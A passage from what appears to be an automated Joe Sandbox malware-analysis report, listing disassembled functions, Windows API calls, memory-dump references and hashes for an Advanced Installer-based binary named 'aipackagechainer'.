                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: __freea$__alloca_probe_16$AllocHeap
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 1096550386-0
                                                                                                                                                                                                                                                  • Opcode ID: b8ed6680d290e2d485d8c5f7bdeb9bad2d8174fc7c6c1fe3c26f56559cc98525
                                                                                                                                                                                                                                                  • Instruction ID: f86a1f4f80752cfd2b2cfabd6efaeca6978c006c4be9285d2c402c6bfccc1df9
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b8ed6680d290e2d485d8c5f7bdeb9bad2d8174fc7c6c1fe3c26f56559cc98525
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E751A376622207AFEB65BE64CD91EBB37A9EF48354B254139FC08D6191E770DC308760
                                                                                                                                                                                                                                                  Function 0025C8E0 Relevance: 7.7, APIs: 5, Instructions: 200COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: HeapProcess
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 54951025-0
                                                                                                                                                                                                                                                  • Opcode ID: 58e60a25472d2c521fd1bf2419f322638b2c573ed349bc08ee11b7450a8c493f
                                                                                                                                                                                                                                                  • Instruction ID: c4125b2ccc8195a9a2bf6e657d4326c4cf77fa04f9479ed9b168804dfa626c92
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 58e60a25472d2c521fd1bf2419f322638b2c573ed349bc08ee11b7450a8c493f
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 72816B71901309DFDB11CF68C888B9EBBB5FF49325F248299E815AB391E7748924CF94
                                                                                                                                                                                                                                                  Function 00256C60 Relevance: 7.7, APIs: 5, Instructions: 166threadsynchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,4938EAB5), ref: 00256CA0
                                                                                                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,00257010,?,00000000,?), ref: 00256CD6
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000,?,4938EAB5), ref: 00256DE0
                                                                                                                                                                                                                                                  • GetExitCodeThread.KERNEL32(00000000,?,?,00000000,?,4938EAB5), ref: 00256DEB
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000,?,00000000,?,4938EAB5), ref: 00256E0B
                                                                                                                                                                                                                                                    • Part of subcall function 00213200: RtlAllocateHeap.NTDLL(00000000,00000000,00000000,4938EAB5,00000000,0029B9F0,000000FF,?,?,002D3B80,?,0024D90C,80004005,4938EAB5,?,00000000), ref: 0021324A
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CreateThread$AllocateCloseCodeEventExitHandleHeapObjectSingleWait
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 978852114-0
                                                                                                                                                                                                                                                  • Opcode ID: d80b807cdec9acebbc5dded5cc6fca7884b3228b056d6e730c00afb0b8143839
                                                                                                                                                                                                                                                  • Instruction ID: 1ec94902a5112cc6a5ca25e04313e625c4dde392699b288e21853f3d27611665
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d80b807cdec9acebbc5dded5cc6fca7884b3228b056d6e730c00afb0b8143839
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: F8515774A113199FCB20CF68D888BAABBF5FF09311F258659E916A7361D730A814CB60
                                                                                                                                                                                                                                                  Function 0025F7C0 Relevance: 7.7, APIs: 5, Instructions: 160COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  • SetWindowTextW.USER32(00000000,002AA475), ref: 0025F84F
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(00000000,0000042B), ref: 0025F8A7
                                                                                                                                                                                                                                                  • SetWindowTextW.USER32(00000000,00000000), ref: 0025F8AE
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,00000001), ref: 0025F8BB
                                                                                                                                                                                                                                                  • EnableWindow.USER32(00000000,00000000), ref: 0025F8C0
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetWindowLongW.USER32(?,000000F0), ref: 00248887
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetParent.USER32 ref: 0024889D
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetWindowRect.USER32(?,?), ref: 002488A8
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetParent.USER32(?), ref: 002488B0
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetClientRect.USER32(00000000,?), ref: 002488BF
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: GetClientRect.USER32(?,?), ref: 002488C8
                                                                                                                                                                                                                                                    • Part of subcall function 00248840: MapWindowPoints.USER32(00000002,00000000,?,00000002), ref: 002488D4
                                                                                                                                                                                                                                                    • Part of subcall function 0025FA90: GetWindowLongW.USER32(?,000000F0), ref: 0025FABD
                                                                                                                                                                                                                                                    • Part of subcall function 0025FA90: GetWindowLongW.USER32(?,000000F0), ref: 0025FAD2
                                                                                                                                                                                                                                                    • Part of subcall function 0025FA90: SetWindowLongW.USER32(?,000000F0,00000000), ref: 0025FAE9
                                                                                                                                                                                                                                                    • Part of subcall function 0025FA90: GetWindowLongW.USER32(?,000000EC), ref: 0025FB02
                                                                                                                                                                                                                                                    • Part of subcall function 0025FA90: SetWindowLongW.USER32(?,000000EC,00000000), ref: 0025FB16
                                                                                                                                                                                                                                                    • Part of subcall function 0025FA90: SendMessageW.USER32(?,0000007F,00000000,00000000), ref: 0025FB24
                                                                                                                                                                                                                                                    • Part of subcall function 0025FA90: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0025FB37
                                                                                                                                                                                                                                                    • Part of subcall function 0025FA90: IsWindow.USER32(00000000), ref: 0025FB52
                                                                                                                                                                                                                                                    • Part of subcall function 0025FA90: DestroyWindow.USER32(00000000), ref: 0025FB6E
                                                                                                                                                                                                                                                    • Part of subcall function 0025FA90: GetClientRect.USER32(?,?), ref: 0025FBC6
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$Long$Rect$Client$ItemMessageParentSendText$DestroyEnableHeapPointsProcess
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 654977508-0
                                                                                                                                                                                                                                                  • Opcode ID: 33bb765629c8bae1ed77bdd604131e17351392a88b69f4e45e6c2cd3da25cac1
                                                                                                                                                                                                                                                  • Instruction ID: 0844c9d81c838eeb025ae719d2ba6ca612e3f60c3b6675c9618358da69601a04
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 33bb765629c8bae1ed77bdd604131e17351392a88b69f4e45e6c2cd3da25cac1
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4F519E3090060A9FDB10DFA8CD48B5EFBB5FF09315F1482A9E815AB2A1DB349D15CF90
                                                                                                                                                                                                                                                  Function 00232D30 Relevance: 7.6, APIs: 6, Instructions: 106memoryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • LocalFree.KERNEL32(00000000,80004005), ref: 00232D49
                                                                                                                                                                                                                                                  • LocalFree.KERNEL32(?,80004005), ref: 00232D59
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,80004005), ref: 00232D97
                                                                                                                                                                                                                                                  • LocalAlloc.KERNEL32(00000040,00000014,?,80004005), ref: 00232DD6
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,00000000,?,80004005), ref: 00232DF0
                                                                                                                                                                                                                                                  • LocalFree.KERNEL32(?,?,00000000,?,80004005), ref: 00232E01
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Local$Free$ErrorLast$Alloc
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3879364810-0
                                                                                                                                                                                                                                                  • Opcode ID: 3eba3c59b0b320386873ee801bb6acab12a14e52599e33f822c165b197d0b876
                                                                                                                                                                                                                                                  • Instruction ID: fcd704f9ba10ea1ae0ea2f1f704b177078c724fb3251039cd7e5f3910c3c2338
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3eba3c59b0b320386873ee801bb6acab12a14e52599e33f822c165b197d0b876
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 743135B06147069FEB20DF75E848B5BB7E8FF44711F00492EE946D2250EB78E9198BA1
                                                                                                                                                                                                                                                  Function 00258FAB Relevance: 7.6, APIs: 5, Instructions: 65COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CallWindowProcW.USER32(?,?,?,?,?), ref: 00258FC0
                                                                                                                                                                                                                                                  • GetWindowLongW.USER32(?,000000FC), ref: 00258FD5
                                                                                                                                                                                                                                                  • CallWindowProcW.USER32(?,?,00000082,?,?), ref: 00258FEB
                                                                                                                                                                                                                                                  • GetWindowLongW.USER32(?,000000FC), ref: 00259005
                                                                                                                                                                                                                                                  • SetWindowLongW.USER32(?,000000FC,?), ref: 00259015
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$Long$CallProc
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 513923721-0
                                                                                                                                                                                                                                                  • Opcode ID: c1a6fb69075972c852abf36ffd44824e5b95f75d5c8eff28a73c17daa5d2f3c6
                                                                                                                                                                                                                                                  • Instruction ID: c5a0c69d2588053c0e65c3c5cae9f16aaafa0396e0932054d8c981a8cdf37c36
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c1a6fb69075972c852abf36ffd44824e5b95f75d5c8eff28a73c17daa5d2f3c6
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3F212971104700EFCB20AF19DC84927BBF5FB89721B104E1EF99A836A1C732E8959F50
                                                                                                                                                                                                                                                  Function 0027C4ED Relevance: 7.5, APIs: 5, Instructions: 37COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(002D7FD4,00000000,?,00213657,002D88D0,002ACD30), ref: 0027C4F7
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(002D7FD4,?,00213657,002D88D0,002ACD30), ref: 0027C52A
                                                                                                                                                                                                                                                  • RtlWakeAllConditionVariable.NTDLL ref: 0027C5A1
                                                                                                                                                                                                                                                  • SetEvent.KERNEL32(?,002D88D0,002ACD30), ref: 0027C5AB
                                                                                                                                                                                                                                                  • ResetEvent.KERNEL32(?,002D88D0,002ACD30), ref: 0027C5B7
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CriticalEventSection$ConditionEnterLeaveResetVariableWake
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3916383385-0
                                                                                                                                                                                                                                                  • Opcode ID: bec305f182bb960baeac289a3ce0bd3e36f633ae6175af173d62fb9813a7b952
                                                                                                                                                                                                                                                  • Instruction ID: 2b22123aa25b9d1ccb9ec54e2dc461bac594717ef01f45321c74cbfbc588f63e
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: bec305f182bb960baeac289a3ce0bd3e36f633ae6175af173d62fb9813a7b952
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1801F63591A520DFCB15AF18FC4CA987BA9FB4A712702406BE905A3720DB792D128BD4
                                                                                                                                                                                                                                                  Function 00238F50 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 226COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0023D1A0: SHGetSpecialFolderLocation.SHELL32(00000000,00000023,?,?,?,?,002D8AF4), ref: 0023D1B0
                                                                                                                                                                                                                                                    • Part of subcall function 0023D1A0: LoadLibraryW.KERNEL32(Shell32.dll,?,?,002D8AF4), ref: 0023D1C3
                                                                                                                                                                                                                                                    • Part of subcall function 0023D1A0: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 0023D1D3
                                                                                                                                                                                                                                                  • PathFileExistsW.SHLWAPI(?,ADVINST_LOGS,0000000C,002D8AF4), ref: 00239038
                                                                                                                                                                                                                                                    • Part of subcall function 00213200: RtlAllocateHeap.NTDLL(00000000,00000000,00000000,4938EAB5,00000000,0029B9F0,000000FF,?,?,002D3B80,?,0024D90C,80004005,4938EAB5,?,00000000), ref: 0021324A
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AddressAllocateExistsFileFolderHeapLibraryLoadLocationPathProcSpecial
                                                                                                                                                                                                                                                  • String ID: ADVINST_LOGS$Everyone
                                                                                                                                                                                                                                                  • API String ID: 3321256476-3921853867
                                                                                                                                                                                                                                                  • Opcode ID: 186d03ca7135fbad6a55d08b168c82e53cc11b8c21ce90f2340739572cdb4276
                                                                                                                                                                                                                                                  • Instruction ID: df33918bd81c8bf27ea2b3d215b905176197867bcad1dacff057bd7af33821b9
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 186d03ca7135fbad6a55d08b168c82e53cc11b8c21ce90f2340739572cdb4276
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 199100B091160ADFDB00DFA8C949BEEBBB4EF15314F248158E805BB291DBB55E54CFA0
                                                                                                                                                                                                                                                  Function 00231D80 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 225COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • PathIsUNCW.SHLWAPI(-00000001,?,00000000,?,4938EAB5,?,?), ref: 00231EA1
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Path
                                                                                                                                                                                                                                                  • String ID: *.*$\\?\$\\?\UNC\
                                                                                                                                                                                                                                                  • API String ID: 2875597873-1700010636
                                                                                                                                                                                                                                                  • Opcode ID: 2700d19542d77c1bb27b9a304e13a995da1635d64d5e582ad96975f6f60aff91
                                                                                                                                                                                                                                                  • Instruction ID: adb0ab7d21f890d0f434d80f7b9b91f4fb43f07bb008aedb6c502db6c9e037f0
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2700d19542d77c1bb27b9a304e13a995da1635d64d5e582ad96975f6f60aff91
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1E81E1B0A10606DFD710DF68C849BAEF7F6FF54324F108269E514DB291DB76AA64CB80
                                                                                                                                                                                                                                                  Function 00242EE6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 00214390: GetTempFileNameW.KERNEL32(?,00000000,00000000,?,4938EAB5,?,00000004), ref: 00214408
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000000,?,?), ref: 00242FE7
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000,?,?), ref: 0024300F
                                                                                                                                                                                                                                                  • WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?), ref: 00243051
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(?,?,?), ref: 002430A6
                                                                                                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,?,00000000,?,00000000), ref: 002430D7
                                                                                                                                                                                                                                                    • Part of subcall function 00214E80: FindResourceW.KERNEL32(00000000,?,00000006,00000000,00000000,?,00242BC5,-00000010,?,?,?,4938EAB5,?,00000000,?,00000000), ref: 00214EA3
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: File$CloseHandle$CreateExecuteFindHeapNameProcessResourceShellTempWrite
                                                                                                                                                                                                                                                  • String ID: .bat$EXE
                                                                                                                                                                                                                                                  • API String ID: 1432524668-2010676528
                                                                                                                                                                                                                                                  • Opcode ID: 67d2bcc78af97b8db7e333067a73b3834ad4aab967861f94dc94ef297541cda6
                                                                                                                                                                                                                                                  • Instruction ID: 444641747107553aaca6db8831b4ce5fda0a22e4087cc12bd46bd4cf2de232ff
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 67d2bcc78af97b8db7e333067a73b3834ad4aab967861f94dc94ef297541cda6
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: BB51CC31911289DFDB00CF68CD187DCBBF0EF15324F258299E859AB292CB709E09CB91
                                                                                                                                                                                                                                                  Function 0025BE00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,00000000,?,0025AF17,00000000,.part,00000005,?,?,?,4938EAB5), ref: 0025BE0D
                                                                                                                                                                                                                                                  • CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,00000000,?,0025AF17,00000000,.part,00000005,?,?,?,4938EAB5), ref: 0025BE2E
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(0025AF17,00000000,.part,00000005,?,?,?,4938EAB5), ref: 0025BE8E
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CreateEvent$ErrorLast
                                                                                                                                                                                                                                                  • String ID: AdvancedInstaller
                                                                                                                                                                                                                                                  • API String ID: 1131763895-1372594473
                                                                                                                                                                                                                                                  • Opcode ID: 775d944f2a14a72606d5c2e522b6ef99bacd9723aaa4e2f4f56982812a2bad3f
                                                                                                                                                                                                                                                  • Instruction ID: 0feaf2c775d0cfaf308a625a9e0d1fa45450fecae5a6ce9a593c714aee71337c
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 775d944f2a14a72606d5c2e522b6ef99bacd9723aaa4e2f4f56982812a2bad3f
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 50119071750602ABE721CF30DC8AF56FBA4FB88706F244415FA059B690DB70F866CBA4
                                                                                                                                                                                                                                                  Function 0026B590 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: String$Free
                                                                                                                                                                                                                                                  • String ID: P?<u
